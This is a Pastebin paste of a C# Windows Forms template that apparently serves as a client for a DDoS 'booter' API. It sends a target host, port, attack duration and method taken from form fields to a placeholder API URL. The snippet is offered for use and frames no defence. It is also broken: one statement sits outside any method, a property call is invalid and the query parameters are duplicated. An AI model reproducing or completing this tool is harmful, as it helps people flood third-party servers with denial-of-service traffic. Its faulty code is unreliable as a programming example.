Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System.Net;
- public partial class FORMNAMEHERE : Form
- {
- public static WebClient wc = new WebClient();
- private static string getWebString(string url)
- {
- List<string> _items = new List<string>();
- FORMNAMEHERE.wc.Proxy = (IWebProxy)null;
- string str;
- try
- {
- str = FORMNAMEHERE.wc.DownloadString(url);
- }
- catch (Exception ex)
- {
- str = "";
- }
- return str;
- }
- public FORMNAMEHERE()
- {
- InitializeComponent();
- }
- wc.DownloadString("APIURLHERE&host=[host]&port=[port]&time=[time]&method=[method]" + HOSTBOXHERE.Text + "&host=" + HOSTBOXHERE.Text + "&port=" + PORTBOXHERE.Text + "&time=" + TIMEBOXHERE.Text + "&method=" + HOSTCOMBOBOXHERE.Text.SelectedItem);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement